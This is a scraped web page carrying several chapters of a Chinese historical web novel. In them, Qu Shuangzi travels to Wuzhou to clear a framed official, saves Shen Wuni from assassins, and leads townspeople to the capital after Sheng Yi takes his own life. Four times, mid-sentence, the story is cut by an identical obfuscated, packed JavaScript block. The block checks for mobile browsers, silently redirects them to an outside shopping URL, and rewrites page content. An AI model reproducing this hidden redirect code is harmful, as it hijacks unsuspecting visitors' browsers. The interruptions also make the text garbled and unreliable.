果不其然,有一只信鸽嘴馋飞了过来,曲霜姿迅速将它擒住,取下它爪下纸条。上面是简白明了的五个字,“杀了沈无逆”。 曲霜姿心瞬间提到了嗓子眼,公主为了阻止沈无逆竟要做到这地步,她看向其余飞远的信鸽,后悔没有想办法将它们一网打尽。 不知道这些信鸽传达的内容是否一致? 曲霜姿心急如焚,当即就派乐知去大理寺询问沈无逆去向,得知沈无逆回去后刻不容缓就再次出发了,只带了几个人,说是要亲自去邬州问讯。 “看来我也得抓紧时间了。”她借了余千帆最快的一匹马。 不管是为了提前找人也好,为了让沈无逆不要早死也罢,她都必须快马加鞭孤身赶往邬州。 乐知、余千帆和林寻雁都被曲霜姿撇下,三人看着少女孤身远去的背影,心中感慨万千。 乐知红着眼眶,余千帆叹了口气,林寻雁眼中却有艳羡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711891|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之情,“多好啊。” “什么好啊?”乐知奇怪地问。 “曲姑娘率性而活,不是很好吗?” 余千帆看着林寻雁,想起盛京关于她要嫁入皇室的传言,突然就有了同是天涯沦落人的慨然,他皱紧眉头安慰道:“你们二人都是女中豪杰。” 林寻雁话只听了一半,就自顾自地离开了。 她爱惜地抚摸自己腰间佩剑,随后再次回头看向曲霜姿离开的方向,一时怅惘,甚至起了追去邬州的冲动,最后也只能待冲动平息,无可奈何地将剑柄握得更紧。 原地的乐知一直眺望着曲霜姿的身影,直到她变成一个小点儿彻底消失不见。余千帆叫她,“走啦,回客栈喝盏茶。” — 曲霜姿废寝忘食地坚持了一天多,总算到了邬州的客栈。她看着马儿累得呼吸急促,连忙买了最贵的粮草喂她,而她自己就吃完了那个剩了一半的饼子,一边吃一边去街上寻按察使署。 这里的人看她风尘仆仆,都很热心地帮她指路。 但等到曲霜姿真的到了按察使府门口的那一刻,她才意识到沈无逆斥责她的话有多准确——她太莽撞了。 她丝毫不知那所谓被收买的官员具体是什么职位,在何处就职? 她总凭着满腔热血办事,确实太任性了。 但更糟糕的是,曲霜姿后悔没有请林寻雁或余千帆和自己一起了,她本是不欲拖累他们,却忘了自己必须要有个身份才能见到府内官员。 细细想来,她在盛京这快小半年的时间里,都是在依靠别人。 曲霜姿有如丧家之犬,无可奈何地坐在客栈厢房中,她当真太渺小无能了,再回到盛京,一定要想到不依赖他人的法子。 她必须要靠自己。 趁着店小二送来饭菜,曲霜姿就借机塞了几颗碎银给小二,“您知道这邬州最近有没有来什么大官啊?” “大官?”小二收了钱千谢万谢,喜笑颜开地答话,但他显然没明白曲霜姿的意思,“我们邬州最大的官就是按察使,只是上一任按察使被调去了京都,新上任的还没来呢。” 曲霜姿尴尬笑笑,但问什么不是问,她又开口道:“这大人想必很得民心吧。” “那是自然,钱大人是我见过最好的官,他走的时候满城百姓都排队相送呢,唉。”说着说着,男人就不舍地酸了鼻子,吸溜了几下。 他打量了下曲霜姿,信誓旦旦道:“您是外乡人吧,反正肯定不是邬州的,不然不会不知道钱世忠钱大人的。” 曲霜姿陪笑几声,直奔主题,“那钱大人有没有交好的官员?” “说实话,我是从盛京来的,皇帝派我来考察一下钱大人任按察使时是否称职,好官得民心嘛,所以我才向你打听。” 小二瞬间拘谨起来,有些怀疑她的话,“你可不像当官的。”他忙把碎银放在桌子上,“我不回答你的问题,就说怎么最近怎么都打听钱大人,谁知道安没安好心。” 他后半句是窃窃私语,但曲霜姿五感灵敏,这话落到她耳朵,让她瞬间看到了希望。她站起来真挚地看向小二,“其实是钱大人被人诬陷,我是来找证据救他的。” “什么!?” 34. 清白即罪过 小二虽未全信,但还是肉眼可见地慌乱起来,“你要为什么快问,我听了再考虑要不要答。” 店小二还算伶俐,曲霜姿松了口气,开门见山地问:“除了我,最近还有谁打听过关于钱大人的事情。” “也是外乡人,一看就不是好人。” “他问了什么?” “也是问大人有没有交好之人,但那人说话拐弯抹角,我都被他绕了进去,一时说漏了嘴。” 曲霜姿语气肃然,“那你又是怎么知道的?” “那我们楼里的茶好喝又便宜啊,大人和好友常来嘛。” “好友是谁?” “这个我不说。” “那他好友多吗?” 小二犹豫再三,缓缓摇了摇头,“那群州府大官从前常欺压百姓、赋税繁重,钱大人却是真真正正为我们考虑的。” “钱大人又没有架子,闲暇时甚至去田里种地,那些人背地里都骂大人呢。”小二压低声音,小心翼翼地讲。 众流污浊,清白反而成了一种罪过。 “钱大人廉洁奉公,有这样的官员实乃大安之幸事啊。”曲霜姿颇有感触,毫不吝惜地夸赞道。 “那可不,那些管事的高官个个拿鼻孔看人,根本不拿百姓当人,只想着如何作乐、如何从百姓手里收更多的赋税。” “钱大人没来之前,客栈生意可不好做,小人的俸禄远远没现在的多,养活自己都够呛,更别说娶妻生子了。” 曲霜姿指尖在茶杯上环绕一圈,看似听得漫不经心,但她若是有动物般毛茸茸的耳朵,此刻必然已经竖了起来。 店小二天生就是个嘴把不住门儿的,然而言多必失,他感慨道:“还好有安大人、盛大人他们呐。” 少女狡黠地眯起眼睛,钱世忠乃忠良之辈,他的朋友也定当与其志同道合,一切都是不言而喻了。 “啊,”店小二轻呼一声,神色极其不自然。 “放心吧,我不是坏人。” “空口白话罢了,我不会再和你透露半个字!”小二气鼓鼓的,作势就要走。 曲霜姿无奈,“你不如亲自去城门处或是府衙处看看,不出一个时辰,必会有几人骑马前来。”沈无逆一行人出发虽早,却人马较多,途中必是要休整,曲霜姿绕了小路,又不眠不休地赶路,这才提前赶到。 而盛京官员要提人问话,必然先来拜谒此州府衙。 “他们就是要害钱大人的人,为首的男人是个精神分裂的,你一看便知我所言非虚。” 小二挠挠头,“什么是精神分裂?” 少女尴尬笑笑,“就是两面派,一会儿严肃一会儿又和颜悦色。” 事关他敬仰的钱大人,小二咬咬牙还是决定信曲霜姿一回,只是表明——在证实那些话之前,他不会再和曲霜姿说一句话。 曲霜姿哭笑不得,不忍心再套他的话,起身拍拍他的肩,“以后少说点话吧。”说罢,头也不回地出了客栈。 上了街,曲霜姿立刻装出副悲凄模样来,她满面愁苦地找了酒家坐下,只点了几个小菜,随后对着小菜唉声叹气起来。 有个女子纳闷地看过来,奇怪地问:“姑娘这是怎么了?” 曲霜姿抬眼,见女子和她一般年岁,看着家境不错,有几分率性洒脱。她假装拭泪,“家中遇事,想求见安大人,求大人为我们做主。” “可惜却……” 女子皱眉看她,“安大人身居高位、事务繁多,自然不是你我想见就见的。” “那我还能求哪位大人为我做主呢?”曲霜姿“掩面而泣”,形容凄惨。 那女子也跟着着急,她冥思苦想,最后长叹一口气,提议道:“不如去盛大人府上求情吧,从前百姓有事都是求助盛大人的,但大人近来好像不在家,你要不去看看。” 曲霜姿千言万谢,露出个真心实意的笑来。 既然安大人身居高位,那就不可能被收买,那么这位盛大人是曲霜姿寻找对象的可能性高些。 女子热心带路,一路上安慰曲霜姿,“你别难过啊,虽然盛大人不如其他大人有权有势,但他和曾经的钱大人最为交好,也是爱民如子,但凡能帮,他定会施以援手。” 盛府很快到了,说是府邸,其实就是一座小宅,和普通百姓家的宅院没有什么区别,曲霜姿鞠躬拜谢,和女子告了别。 她叩了叩门,见没人应声,就兀自翻墙翻了进去。 怎么感觉,这事儿做的她是越来越顺手呢。 然而曲霜姿四下寻找,都没能找到这位盛大人,她攥紧眉头,开始估量最坏的可能。 那就是二皇子的人早将盛大人给控制起来了。 又一次线索中断、希望落空,曲霜姿等了许久最后垂头丧气地回了客栈。 一回客栈,那店小二就急切地凑了上来,“你说的都对上了,那为首的男子入城时凶神恶煞的,我听你的去了府衙,又见他讨好地对着那些大人笑。” 曲霜姿眉头一跳,果然是沈无逆那个死德行。 她扶额,不可思议地问:“你一路跟着他,没被发现?” “他走的大路,我走的小路,那人看着就不好相与,我怎么敢光明正大地跟着啊。” “所以钱大人到底怎么了?他对我有恩啊!”店小二急得焦头烂额,喋喋不休地开始讲述钱世忠有多好,一辈子学过的夸赞之词恐怕都用上了。 曲霜姿将事情原委概括给他听店小二登时脸色煞白,“您是说,是二皇子要害钱大人?”他声音颤栗,不可置信地瞪大眼睛。 “怕了?你就当不知道,皇室之威确实不像你能承受的。” “哪儿能呢?”店小二一拍桌子,“您是要帮钱大人对吧,您要知道什么,我通通说,保准整个邬州都没人比我知道得更多。” 曲霜姿为其胆识惊了一下,嘴角不由勾起,“那便讲讲盛大人吧。” “盛大人全名盛义,原本是钱大人手下官员,但绝对不是钱大人提拔的,是咱们看着一步步升上去的。” “盛义原是邬州一个商户,后来突然就开始读书,说是要功名,虽然屡试不中,但是也得到为官的机会,确实是由钱大人举荐的。” “他跟着钱大人帮扶了邬州百姓不少啊。” 曲霜姿点点头,“可有妻儿?” “有有有,”店小二伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711892|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出三根手指头,“盛大人好福气,有一个儿子两个女儿,今年大女儿都给他生了外孙呢。” “他们住在一起?”曲霜姿原以为盛义和钱世忠一样,都是孤身一人,但若是家庭美满,那可就细思极恐了。 盛宅里,可是一个人都没有啊。 曲霜姿捏紧手中茶杯,“最近可有人见过他的家人?” 店小二眨眨眼,想了一会儿才道:“好像是去省亲了吧,走得急,很多人都看见了。” “什么时候的事儿?” “就四天前吧,有啥问题吗?” “那盛大人呢?最近见过吗?” 店小二脑袋摇得像拨浪鼓似的。 曲霜姿心中暗叫不好,急急忙忙送家人离开,然后自己了无音讯……看来她的猜想是对的,但按如今这种情形,他自己以及家人也应该已经到了二皇子手里。 用家人作威胁,真是阴险毒辣。 无力感油然而生,曲霜姿以为自己够聪明,从小长大只要她学就没有学不会的东西,可是面对权势,她什么都做不了,什么都做不到。 店小二脑子里转了几个弯儿,终于想明白了这事儿,他一拍大腿,目眦欲裂道:“您既然想救钱大人,想必定是身份不凡,您说怎么做?咱上哪儿救人去啊。” “救人?”曲霜姿猛得回神。 救谁?凭借她能够救得出来被官府控制的盛义吗? “对啊,那如果盛大人的家人都被他们绑了去,那咱们不得救人吗?好让大人没有后顾之忧,那些人再想威胁大人可就不行了。” “说实话,事出紧急,我孤身一人。”曲霜姿心虚地扯了个慌。 “没事,咱们有的是人,邬州的百姓有大半都愿意帮您!”小二说得信誓旦旦。 曲霜姿心头一震,“不用那么多人,以免打草惊蛇。” 她头脑冷静下来,很快理清思绪,“知道盛大人家人省亲是去何处吗?” “盛夫人的娘家在屏县,也许是去了那里。” “好,”曲霜姿点点头,“半刻钟之内你能喊来多少人?” “店里小二都听我的,有十几人,虽然我和隔壁小二吵过架,但是……”他掰起指头数,曲霜姿看不下去,忙道:“说个数目。” “那得看您要多少人,百人之内我都没问题。”店小二得意笑着,看着红光满面。 曲霜姿再次惊住,她强忍着没有显露出来,佯装淡定道:“七八个去寻盛大人最后的去向,找出其可能被关的所在,剩下的都沿着去屏县的路上找,看看有没有人见过盛家人。” “得嘞,”小二得令,莫名有些激动,一刻也不停地就往外冲。 曲霜姿还是不放心,最后叮嘱:“人不要太多,切勿引人耳目,不要打草惊蛇!注意安全!” 店小二走远了,少女还有些回不过神来,她想起阿娘,想起荨州朝夕相处的父老乡亲,想起盛京等待自己归去的好友,想起在查案过程中提供帮助的百姓 曲霜姿嘴角上扬,她实实在在意识到,她并非是一无所有。 她有许多官场浮沉之人艳羡的东西,而她现在没有的,未来也一定能够得到。 35. 久旱逢甘霖 曲霜姿抱了最坏的打算,一没有任何收获,二被沈无逆发现,但是总比束手待毙强,难不成沈无逆还能杀了自己不成? 她自己也没闲着,打晕了一个府衙办差的小厮就混了进去。 她现在想知道,邬州府衙是否对二皇子伪造证据一事之情,倘若是狼狈为奸,那盛义十有八九就在这府衙内。而若不是,那二皇子就该是提前把人绑了软硬兼施,那人可就不好找了。 曲霜姿正探头探脑地四处查看,生怕和沈无逆撞上了。 但突然之间,有人大喊一声“有山贼行刺!”声音惊恐响亮、响彻云霄,曲霜姿吓得一颤,这才想起来大公主的密信。 在官衙行刺,虽然莽撞、铤而走险,但却能洗去不少皇室之人的嫌疑。毕竟各地方府衙皆代表着朝廷,此种行为与谋逆无异。曲霜姿心提到了嗓子眼,远远就看到了几个蒙面侠跳下屋顶,沈无逆还带着护从,应该没事吧。 她躲在柱子后边偷看,为首的“山贼”气宇不凡、武艺超群,说是以一敌百都不为过。偌大的府衙,这么多衙兵一拥而上,看着乌泱泱一群,却很快被打了个屁滚尿流。 沈无逆很快意识到这些人是冲着自己来的,那蒙面的刀客竟然极像是二皇子的亲卫之一,他攥紧眉头,提剑而上。 看着沉着冷静,却已然六神无主了。 他难以置信,温孤嘉宸这是搞什么幺蛾子,命他来办事却派人刺杀,难不成是突然发觉自己知道的太多,想过河拆桥了? 他咬紧牙关,面对来人的凶猛的攻势,丝毫不敢暴露出自己真正的实力。从前他虽跟着二皇子的师傅学武,私下里废寝忘食地练习,却一直装作是稀疏平常。 一个敌国质子,要是有武艺傍身,那简直是后患无穷。 曲霜姿唇都抿成了一条线,她回想沈无逆将剑抵在自己脖颈处的风驰电掣,回想二人过招时男人的身手不凡与游刃有余。 这个黑衣刺客就真的如此厉害吗? 眼看着刺客紧追着沈无逆不放,招招致命冲着要害处去,曲霜姿心急如焚,她虽气沈无逆失了初心,与二皇子沆瀣一气,但低头不见抬头见的几个月也终究还是有几分感情的。 她拾起一把剑,咬牙冲了上去。 沈无逆看见来人,下意识避过身,余光却瞥见曲霜姿的脸,他恨铁不成钢,怎么又是她,她又来添什么乱! 甫一交手,曲霜姿就发现此人确实是非比寻常,但沈无逆也不至于如此败下阵来,但她顾不得分心,她并不擅长用剑,费力地帮男人抵挡攻击。 这要下去不是办法,她粗喘着气,好几次差点被伤到。 她皱眉盯着黑衣人,心道只能赌一把了,她猛得飞身过去,与刺客擦肩而过,将刺客目光吸引到自己身上。曲霜姿在他耳边厉声道:“公主传信说计划有变,你们先撤!” 刺客身形一顿,攻势逐渐慢了下来,似乎是在思忖此话的真假。 “红喙绿爪的信鸽,还能有假!?”她吃力应对,沈无逆也趁势砍伤了那人。 黑衣人露出的一双眼睛闪过丝阴鸷,要再发作却又意外忍住,带着手下人撤了。 曲霜姿这才松了口气,还好她记性好,还记得逮着的那信鸽的模样。 沈无逆眼底一片猩红,抬眸看着刺客远去的身影发愣,他轻喘几口气,反手用力将利剑插回剑鞘中。好一会儿才想起突然冒出来的曲霜姿。 而少女已经偷溜到几步外了。 她怕沈无逆认出,逮着机会就跑,但男人可不会轻易放过她,命人把她仰面抬了回来。沈无逆居高临下地看着她,曲霜姿尴尬地冲他一笑。 — 经此变故,府衙里的大人都受惊不小,也没怎么和沈无逆费口水寒暄,给他们一行人安排了住处就散了。 沈无逆将身边人支开,这才斜眼看向曲霜姿,恶狠狠道:“你说那刺客是公主的人?” “对啊。”曲霜姿答得理直气壮。 “你如何知道?” “猜的。” 男人额上青筋暴起,他大概猜到了二皇子派亲卫来的用意,目的恐怕就是伪装成公主的人,以此要挟,也好让公主府那边不要再多管闲事。 有疑似公主府的人亲自来认领,自然就心甘情愿地撤了。 曲霜姿眨眨眼,她回想起沈无逆当时的神情,除了惊讶、居然还有一层来自深处的恐惧。少女觉出不对劲儿来,她稍加思考便猜到了,“你知道他们不是大公主的人。” “你认识他们。” 沈无逆默不作声,脸色却难以自持地垮了下来。 “是二皇子的人!?”曲霜姿四下观察,确认无人才压低声音道。 不愧是曲霜姿,聪明到了骨子里,沈无逆内心对她是又喜又怕,自己只是稍微露出点痕迹,她就能立刻猜到。 从前的曲霜姿尚且不谙世事,如今却已见识了几番深谋远虑、尔虞我诈。 曲霜姿想起为保护沈无逆受伤严重的白术,顿时暴跳如雷,她一把抓住男人的衣领,红着眼眶怒声道:“你疯了!” “温孤嘉宸为了做戏,对你们的死活不管不顾,你居然还要听命于他!你居然就甘心成为这种肮脏之人的……一条狗?”她说得有些不忍心,但还是发狠地质问。 沈无逆被她推到墙上,后背和头都毫无防备地磕了一下,他与人缠斗也受了点小伤,不由得发出闷哼,他用虚弱的语气苦笑:“你不是要与我决裂吗?又为何要救我。” 是啊,为什么要救他呢?曲霜姿自己也纳闷,除了面对母亲和余叔叔以外,她并不是一个优柔寡断的人。她尤其是嫉恶如仇,但凡有人与她立场不合,有人要无端作恶,她必然是毫不留情的。 曲霜姿颤抖着声音,头一回体会到对一个人好却吃力不讨好的感受,她一阵委屈,眼眶中溢出两滴泪来,但她依旧强撑着火气,“你若是有一天因为坏事做尽、忤逆圣恩被赐死,我必然拍手叫好。” “但若是……”她有所停顿,微微侧过脸让眼泪滑落,她重新仰头直视沈无逆,一双眼睛像是最澄净的湖水,被阳光照得极为耀眼。 曲霜姿毅然继续道:“你被旁人不明不白地害死,不、不论是何人,倘若遭遇不测,我都会伸以援手。” 这是她给沈无逆的回答,也是她给自己心中疑虑的答案。 沈无逆被她的目光烫了一下,莫名有丝失落浮上心头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711893|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人离得极近,粗重的呼吸都缠绕在了一起,沈无逆回过神,不自在地轻轻推开少女。 少女还是皱着眉,怜悯又悲恸道:“我知道你有苦衷,可做人也要有底线,沈霁明你不想这样的,不是吗?” “你该是风光霁月、明德惟馨,你该是邵辰未来的希望。” 沈无逆懊丧垂头,不做回应。 他一边觉得曲霜姿站着说话不腰疼,一边又无法反驳。这么多年来,他太想念他的家人朋友,太想念他的国土子民,这种想念却是那么无力,化作一阵火在他五脏六腑里灼烧,叫他生死不如。 以至于铤而走险,选了这样一条路丰满自己的羽翼,选了这样的方式铺就未来回家的道路。 “如果可以,我会尽己所能帮助你离开大安。” 曲霜姿郑重许诺,这话戳中了沈无逆的心,男人莫名为此而动容,哪怕这话无凭无据,哪怕曲霜姿不过是一个小小的吏役,一个小小的女子,但他就是莫名觉得这话极有分量。 好像自曲霜姿口中吐出,就定能实现一般。 “我暂时无法摆脱温孤嘉宸,亦无法违抗他的指令,这事儿我不做也会有旁人来做,但起码我做还能……给那些人几分优待,几分体面。”沈无逆粗哑着嗓子为自己辩解。 曲霜姿嗤笑一声,在心里默默驳斥。 这算什么优待,什么体面,即将被冤死的人哪里需要这些没用的东西。 “曲霜姿,我们都要变得强大不是吗?这是我现在能为自己选择的最好的路了。” “你回盛京吧,去找你的路,二皇子那边我帮你挡着,大不了你就跑,二皇子应该也不会费力去抓你。” “不要再掺和进来了,你不是还要为你阿娘报仇吗?”男人目光柔软下来,淡淡开口:“你有没有想过,但凡那刺客的剑偏上一分一毫,你就没命了。” “你不报仇了吗?” 这么多日子以来,没有关于她阿娘的半分线索,余肃叔叔又把事情描述得千难万难,曲霜姿有时候会想,她是不是一辈子都查不清真相了。 曲霜姿脑海中闪过回忆,她阿娘似乎早就料到自己会有离奇身死的一天,活着的每一天都将自己头脑中的知识倾囊相授,对她的每一句教导都意味深长,像是交代遗言,甚至常用无关紧要的语气说些奇怪的话。 什么让她看淡生死,让她不要满心仇怨,让她不要睚眦必报…… 她悠悠叹了口气,“我已尽心尽力。” “我阿娘其实要我别给她报仇,可我一意孤行,保不齐我死后见到她还要挨训呢。”曲霜姿想起阿娘平日里教训自己的模样,嘴角浮起笑容,“但挨训就挨训吧,我要是见死不救,那可不只是挨训这么简单的事儿了。” “要是为求自己的道而死,我无怨无悔。”她浅笑看着沈无逆,很快又恢复严肃的神情道:“但你的道呢?白术今日重伤,明天可能就是你,要是你哪天就这样死了,你甘心吗?” “你是沈霁明,不该只是沈无逆。” 这句话,像是一滴春雨,落进沈无逆久旱成灾的心田。 昏黄的阳光洒在男人破了口的唇角,沈无逆干涩地吞了口气,欲言又止。 36. 视死忽如归 沈无逆没有继续为难她,曲霜姿回到客栈时天边已昏黄一片,店小二找了她许久终于见到了人,“打听到了!” “那天盛大人出城送家人离开后就回了家,然后再没出来过。” 曲霜姿挑挑眉,要是里边的人没出来,那就是外边有人进去了,“那其家人呢?可有回到屏县?” “绝没有,有个每日放牛的老伯和她们有段儿顺路,当着他的面就被人截走了!” “那他怎么不告官?” “怕呀,搁我我也怕,我们这儿常有山贼作祟,虽然钱大人清除许多,但最近他们又猖狂起来了,那要是山贼抢人,可不得躲着,否则遭了报复怎么办?” 曲霜姿无奈,也觉得可笑,不是说在大安的治理下海晏河清,百姓安居乐业吗?怎么她倒觉得这大安就是个匪寨贼窝,上位者无作为、底下人不敢言。 “那他看没看清人是去了哪个方向?” “他说他不敢看,但好像是原路返回了。” 曲霜姿心中咯噔一下,邬州并不小,但有一行人就这样消失得无影无踪,少女起了一身鸡皮疙瘩。 眼下只有沈无逆才知道人在何处。 曲霜姿攥紧眉头,她感觉自己彻彻底底陷入了一个怪圈,一个看不见摸不着却又叫她无能为力的怪圈。 她咬唇,“大理寺寺正明日就会带盛大人回京,我想到时候作为交换条件,那些人会明面上放回盛大人的家人。” “如果可以,保护好他们,盛大人也就不会被威胁了。” “那盛京呢?两位大人该怎么办啊?”店小二急得抓耳挠腮、坐立不安。 “让我再想想吧。”曲霜姿抬眼,眸光昏暗,阴冷又暗沉,她顾不上愤懑,只觉愁苦与迷惘,这种感觉叫她生不如死,甚至想要咬碎了自己的牙往肚子里咽。 店小二看她这幅样子也不敢再说些什么,默默退了。 曲霜姿独留屋内一只烛火,痴痴看着火光摇曳,守了半宿。她将身体蜷起来,害怕黑暗似的不敢闭上眼,情不自禁地想要离火光更近些,好几次险些伸出手去触碰,仿佛这举动能给她增添不少暖意。 屋外有人影晃动,应该是店小二也辗转反侧、难以入眠。 她无奈地笑了笑,清清嗓子,“进来吧。” 男人小心翼翼地移步进来,眼神却是急不可耐的,“大人,您想好了?” 曲霜姿还是看着火苗愣神,“想好了吧。” 少女启唇,轻轻吐出一口气。 昏黄的光映在她脸上,绰约多姿地随着她的睫摇晃,曲霜姿嘴角凝起抹浅笑,“我不是什么大人,但我想最后赌一次。” “你们可否愿和我一起飞蛾扑火?”她语气缓缓的,几乎是娓娓道来,却有一种致命的吸引力。 — 次日,天色还灰蒙蒙的,沈无逆为不节外生枝,就带上盛义赶路。然而还未出城门,一个少女就挡在了他的马前,正是曲霜姿。 曲霜姿带着七八个小厮打扮的男人,每个人手上都操着武器,有的是菜刀、有的是匕首、更甚者还有举着锅铲跃跃欲试的人。 “你这是要做什么?”沈无逆眯起眼睛,“我昨天的劝告你没有听进去吗?” 曲霜姿不答,重复了一遍他的话作为反问回应。 沈无逆手下侍卫手都搭在了腰间佩剑上,只待一声令下,就要把这群拦路的人杀个片甲不留。 曲霜姿冲着后边被挟制的男人,扯着嗓子喊道:“盛大人,您的家人已经被我们救下,您不用担忧他们的安全了。” 沈无逆登时皱眉,人是刚刚才放的,满足盛义相见的心愿才让他们见了一面,他自觉已经仁尽义尽,但还没有全然放下警惕,该暗中盯着的人都安排好了。 盛义不可思议地看向这个来路不明的女孩儿,他这些日子原本都丧尽了希望,此刻心里那一点点即将熄灭的光居然又迸裂出几颗火星子来。 沈无逆的手下很快就赶来禀告了,说是有五十余人集体围了盛家的院子,他们的人要动手就免不了伤及无辜。 官衙里也并非全是他们的人,万一要是真的发生了恶性冲突,恐怕就一时半会儿走不了了。 盛义看男人的反应,知晓少女所言不虚,他眼睛亮亮,认真向曲霜姿投去了目光。少女身后有不少他眼熟的面孔,每个人脸上都是那样果决坚毅,无所畏惧般。 他遥遥冲这群人鞠了一躬。 沈无逆连忙派人将他押好,他咬牙切齿、肃然下令:“走,如有人当街拦路,就是妨碍办案,一律抓起来,盛义的家人,殿下会派人善后。”他说完,有意无意地睨了一眼盛义,也是在威胁。 盛义被关以来,挨过饿挨过渴,甚至还挨过打,而到了沈无逆手中后却多少被当作是个人来尊重。他被推搡着往前,忍不住回头看这座生活了多年的城,他忽得释然笑了。 其实,这位二殿下他有所耳闻,哪怕自己真的上公堂做假证,不说未来回了邬州有何颜面面对父老乡亲,不被杀人灭口已经是极好的了。 与其一辈子活在自责与惶恐中,不若就此了却残生。 曲霜姿带着人拦在前面,她一时没找到趁手的兵器,只得负手而立强装威风。沈无逆的手下,更准确来说是二皇子的手下已然拔出了剑,眼露凶光。 一片混乱中,盛义和曲霜姿对上目光,男人要比钱世忠年轻些,看着也就四十出头,头发却已经花白了,苦笑时又多挤出了几缕皱纹。 “让他们跑。”盛义冲曲霜姿做了个口型,还没等少女反应过来,他就毅然扑上了一个侍卫的佩剑上。 血溅当场。 曲霜姿瞪大眼睛,大脑轰鸣一片,眼看沈无逆发作,要真的对他们这些人动手,曲霜姿才反应过来,连连摆手让众人撤退。 她有了脸上被溅上血液的错觉,撤退之际,她偏头冲一个腿脚快的小二大喊:“快,让那边的人带着盛家人突出重围,去求安大人护佑!”她嗓子一片腥甜。 沈无逆眼神中亦不乏错愕,事出紧急,他强忍怒火,带着人快马加鞭踏上归途。 曲霜姿看着倒在地上的盛义,视线都模糊了,周围人一哄而上、哭天抢地地把男人围了起来。 她的灵魂好似突然从周遭喧闹中抽了出去,漂浮在半空麻木地看着这一切。 她竟没想到男人有这般但留清白在人间的品性,以及如此视死忽如归的胆魄。 然而她还没从震撼和悲痛中缓过神来,不知不觉中,周围聚集起的百姓将她簇拥到了人群中心,他们嘶声裂肺地怒吼:“去盛京!讨公道! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711894|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去盛京!讨公道!” 整整三天三夜,他们一路上如此呐喊,自发性地一步步走到了盛京,盛京城门处早就有听到风声被派来阻拦的禁军,曲霜姿带着他们丝毫不退让,歇斯底里地呐喊。 为人心、为公道! 哪怕无法再往前一步,他们也无法被忽视地挡在城门外,将盛京围了个水泄不通。 曲霜姿估摸了下时间,盛义虽死,但多半会被当作是畏罪自杀,依旧能够佐证钱世忠的罪证,但他们用了最快的速度赶到盛京,钱世忠就算被定罪,也不会这么快就被行刑。 她就是要赌,就是要以卵击石。 自古常言:“得民心者得天下。” 古亦有云:“民为国之根本。” 她带着这么一大批只为忠义,愿意豁出性命的百姓,心中感慨万千,天下人总算是不全都如盛京城中的人一般麻木不仁,这天下就还有希望。 而如今民之所向如此,全看圣意如何定夺,成败在此一举。 曲霜姿面色凝重,夹杂在人群中间,突然听见有人喊自己的名字,她愣了一下开始四下寻找,很快就看到了城内冲她招呼的余千帆和乐知。 二人很快挤了出来,余千帆被挤得头昏脑涨,“这到底是怎么一回事?被收买的人你找到了吗?” 乐知热泪盈眶地握住曲霜姿的手,“你终于回来了,担心死我了,我偷偷去大理寺打探消息,遇上沈无逆,他眼神像是要吃了我一样。” 曲霜姿懊丧地摇摇头,给他们讲了讲邬州发生的事。 余千帆为安慰曲霜姿,不合时宜地开起乐知的玩笑,“这姑娘傻乎乎的,每天都说要去找你,在盛京都能迷路还敢乱跑。” 乐知气鼓鼓的,“你不是也很担心霜姿吗?要不是林小姐劝阻,恐怕也要冲动跑去邬州了吧。” 余千帆尴尬笑了几声,摸摸自己的鼻子,但很快神情严肃起来,“如今局势很不好,钱大人已经下了大狱,处刑时间也快定了。” “邬州的百姓们都看得出钱大人乐善好施,把钱都用来救济贫苦百姓了,自己生活拮据、一贫如洗,可是那些从前与他共事的官员们一个两个的却都不敢站出来说句公道话。”曲霜姿喃喃道。 毕竟他们不要在背后插刀就已经是万幸了。 听了这番话,乐知又憋不住眼泪了,抽噎个不停,“他们也不怕下一个就轮到自己。” 曲霜姿叹气,“就是怕枪打出头鸟,怕下一个轮到自己,所以才畏畏缩缩地装聋作哑。” 林寻雁在城内远远地敛眉看着曲霜姿,似乎是欲言又止,曲霜姿看了看周围闹哄哄的百姓,一把揪住一个:“蒋赢呢?” 